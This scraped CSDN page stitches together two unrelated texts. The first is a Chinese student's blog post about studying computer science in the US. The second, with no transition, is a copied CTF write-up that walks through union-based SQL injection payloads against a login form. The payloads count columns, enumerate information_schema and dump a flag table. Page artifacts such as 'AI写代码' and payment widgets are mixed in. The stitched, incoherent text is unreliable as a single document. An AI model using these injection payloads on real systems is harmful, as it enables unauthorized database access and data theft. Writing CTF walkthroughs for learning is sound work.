很久没上优快云,变化很大

作者分享了在美国学习计算机科学的经历,从自学开始到现在系统学习Java、数据结构等课程的心路历程。

记得当时只写了两篇关于NDS编程的文章。如今回来一看,还看到,感觉很亲切~

 

都一年多没有上来了吧,变化很大,再也不是懵懂的高中学生,有自己的主见,挣脱了父母的怀抱,孤身一人独闯天下。

 

于是来到了美国。

 

这里很多学习模式等等都很不一样。很享受这里的学习模式,如果有能力就上,没能力就慢慢上。其实自己都很尽力而为的。不过还是上课上得比很多人都快。

 

现在学Java,学数据结构,学了很多棵树(教授特别喜欢树,都学了3种树了),今天还刚刚讲了图。记得以前没有老师教授帮忙,自己捧着一千多页的教材,像看天书一样。现在很欣慰,也很刻苦地学每一门计算机课。尽管考试不重要,但是也要尽力把专业课都搞好。

 

等我有空了慢慢整理一下笔记和心得和一些新的想法,慢慢贴上来。

 

只有努力,才能获得收获。

打开题目链接,是一个登录框,尝试弱口令登录 没什么反应 尝试万能密码登录 页面发生了变化 并未登录进去,但是有回显,大概率是SQL注入了 这里尝试了很久,尝试过程就不写了,最终判断它的注入点在用户名,而不是密码,密码随便输,而且--+的注释不行,这里要用#来注释。 成功闭合之后先判断字段数 ' or 1=1 order by 3 # AI写代码 正常回显 ' or 1=1 order by 4 # AI写代码 无回显,说明只有3列 判断回显位 ' or 1=1 union select 1,2,3 # AI写代码 在2号位 查数据库名 ' or 1=1 union select 1,database(),3 # AI写代码 数据库名为 web2 查数据库版本 ' or 1=1 union select 1,version(),3 # AI写代码 MariaDB,第一次遇见不是在mysql下的 这里说一下,因为mysql 5.0及其以上的都会自带一个叫information_schema的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。 尝试查询数据库名为web2下的所有表名 ' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'# AI写代码 发现该数据库下有两个表:flag,user 查询数据库名为web2下表名为flag的列名信息 ' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'# AI写代码 该表下的列名也为flag 直接查该列的具体字段信息 ' or 1=1 union select 1,flag,3 from web2.flag # AI写代码 拿到flag ctfshow{6ce6e249-b399-480c-ae37-93793eea88e2} 前面我们说过,information_schema这个数据库下面包含了所有数据库的所有信息 我们来获取一下所有数据库的数据库名 ' or 1=1 union select 1,schema_name,3 from information_schema.schemata # AI写代码 mysql数据库、web2数据库以及其他所有数据库的所有信息都会储存在information_schema这个数据库下,这也是为什么我们可以借助information_schema这个数据库来查询到其他数据库的信息。 ———————————————— 版权声明:本文为优快云博主「My6n」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/Myon5/article/details/133635827
12-23
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值